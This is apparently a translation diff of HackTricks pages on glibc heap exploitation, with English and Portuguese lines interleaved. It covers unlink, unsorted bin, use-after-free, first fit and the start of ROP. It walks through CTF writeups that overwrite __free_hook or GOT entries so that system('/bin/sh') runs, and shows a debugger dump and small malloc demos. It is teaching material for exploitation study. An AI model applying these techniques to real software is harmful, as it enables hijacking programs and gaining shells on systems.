- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
- Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Anteriormente, foi feito para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista encadeada válida). Como **ambos estão apontando para o mesmo local**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**.
- Isso irá **sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**.
- Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele poderá **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar.
- Note que isso foi possível porque os **endereços estão armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços do chunk falso estão sendo armazenados**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## Referências
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado:
- Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE.
- Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget.
- Exemplo de CTF com funções malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, a heap tem o bit de execução, então é possível vazar um endereço da heap e apontar uma função do GOT para um chunk da heap com um shellcode para executar.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Unsorted Bin Attack
# Ataque de Bin Não Ordenado
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
For more information about what is an unsorted bin check this page:
Para mais informações sobre o que é um bin não ordenado, consulte esta página:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Listas não ordenadas podem escrever o endereço para `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do bin não ordenado, ele poderá **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para vazar endereços do Glibc ou contornar algumas defesas.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
Então, basicamente, esse ataque permite **definir um grande número em um endereço arbitrário**. Esse grande número é um endereço, que pode ser um endereço de heap ou um endereço do Glibc. Um alvo típico é **`global_max_fast`** para permitir a criação de bins de fast bin com tamanhos maiores (e passar de um ataque de bin não ordenado para um ataque de fast bin).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> D> ar uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usar 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache) é possível ver que **atualmente** o erro **`malloc(): unsorted double linked list corrupted`** é acionado.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> Portanto, esse ataque de bin não ordenado agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada para que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> Note que esse ataque corrompe o bin não ordenado (daí pequeno e grande também). Portanto, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> Note que sobrescrever **`global_max_fast`** pode ajudar nesse caso confiando que o fast bin será capaz de cuidar de todas as outras alocações até que a exploração seja concluída.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
O código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explica isso muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não acabar em um Tcache, você pode ver que o erro mencionado anteriormente aparece impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
## Ataque de Vazamento de Informação de Bin Não Ordenado
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
Este é na verdade um conceito muito básico. Os chunks no bin não ordenado terão ponteiros. O primeiro chunk no bin não ordenado terá na verdade os links **`fd`** e **`bk`** **apontando para uma parte da arena principal (Glibc)**.\
Portanto, se você puder **colocar um chunk dentro de um bin não ordenado e lê-lo** (uso após liberação) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informação do Glibc**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
Um [**ataque semelhante usado neste relatório**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o chunk superior) então um estouro de byte nulo em B foi usado para fazer C indicar que B estava não utilizado. Além disso, em B os dados `prev_size` foram modificados para que o tamanho em vez de ser o tamanho de B fosse A+B.\
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços vazados da libc foram escritos em B de onde foram vazados.
## References & Other examples
## Referências e Outros Exemplos
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado.
- É possível gerar chunks de tamanhos arbitrários e há um estouro de heap com o tamanho desejado.
- O ataque começa criando 3 chunks: chunk0 para abusar do estouro, chunk1 para ser estouro e chunk2 para que o chunk superior não consolide os anteriores.
- Então, chunk1 é liberado e chunk0 é estouro para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10`
- Então, chunk3 é alocado com o mesmo tamanho que chunk1, o que acionará o ataque de bin não ordenado e modificará o valor da variável global, tornando possível obter a flag.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar nele e então liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada.
- Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o chunk superior. Então, a **função de mesclagem é chamada com chunk0** duas vezes, o que causará um uso após liberação.
- Então, a **função `view`** é chamada com o índice 2 (que é o índice do chunk de uso após liberação), o que **vazará um endereço da libc**.
- Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, então nenhum fastbin é usado, um ataque de bin não ordenado será usado para sobrescrever a variável global `global_max_fast`.
- Então, é possível chamar a função de edição com o índice 2 (o ponteiro de uso após liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criando um novo chunk usará o endereço livre anteriormente comprometido (0x20) que **acionará o ataque de bin não ordenado** sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
- Agora um **ataque de fast bin** é realizado:
- Primeiro de tudo, descobre-se que é possível trabalhar com fast **chunks de tamanho 200** na localização **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
- Então, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**.
- Em seguida, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de deletar, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Outro exemplo de abuso de um estouro de 1B para consolidar chunks no bin não ordenado e obter um vazamento de informação da libc e então realizar um ataque de fast bin para sobrescrever o malloc hook com um endereço de um gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Só podemos alocar chunks de tamanho maior que `0x100`.
- Sobrescrever `global_max_fast` usando um ataque de Bin Não Ordenado (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
- Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
Como o nome sugere, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Assim, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-lo).
### First Fit attack
### Ataque First Fit
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
Um ataque first fit visa a forma como alguns alocadores de memória, como no glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista, e novos pedidos de memória puxam dessa lista a partir do final. Atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "use-after-free", onde um atacante poderia **mudar o conteúdo da memória que é realocada**, criando um risco de segurança.\
Confira mais informações em:
{{#ref}}
first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
Quando você libera memória em um programa usando glibc, diferentes "bins" são usados para gerenciar os blocos de memória. Aqui está uma explicação simplificada de dois cenários comuns: bins não ordenados e fastbins.
### Unsorted Bins
### Bins Não Ordenados
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante ficando no bin.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
Exemplo:
- Você aloca 300 bytes (`a`), depois 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`).
- Quando você libera `a`, ele vai para o bin não ordenado.
- Se você então solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que atende ao seu pedido e mantendo o restante no bin.
- `c` apontará para o anterior `a` e será preenchido com os `a's`.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
Exemplo:
- Você aloca quatro pedaços de 20 bytes cada (`a`, `b`, `c`, `d`).
- Quando você os libera em qualquer ordem, os pedaços liberados são adicionados ao início do fastbin.
- Se você então solicitar um pedaço de 20 bytes, o alocador retornará o pedaço mais recentemente liberado do início do fastbin.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## Outras Referências & Exemplos
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que receba o pedaço liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\<size>) com o conteúdo da nota.
- O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache).
- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor ou obter a flag.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que contém 4 dentro dele.

View File

@ -1,46 +1,45 @@
# ROP - Return Oriented Programing
# ROP - Programação Orientada a Retorno
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informações Básicas**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
### How ROP Works
### Como o ROP Funciona
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver a configuração de argumentos para uma chamada de função, chamando a função (por exemplo, `system("/bin/sh")`), e lidando com qualquer limpeza ou operações adicionais necessárias.
3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, começa a executar a cadeia de gadgets.
### Tools
### Ferramentas
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou diretamente do **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in x86 Example
## Exemplo de Cadeia ROP em x86
### **x86 (32-bit) Calling conventions**
### **x86 (32-bit) Convenções de Chamada**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
- **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
### **Finding Gadgets**
### **Encontrando Gadgets**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
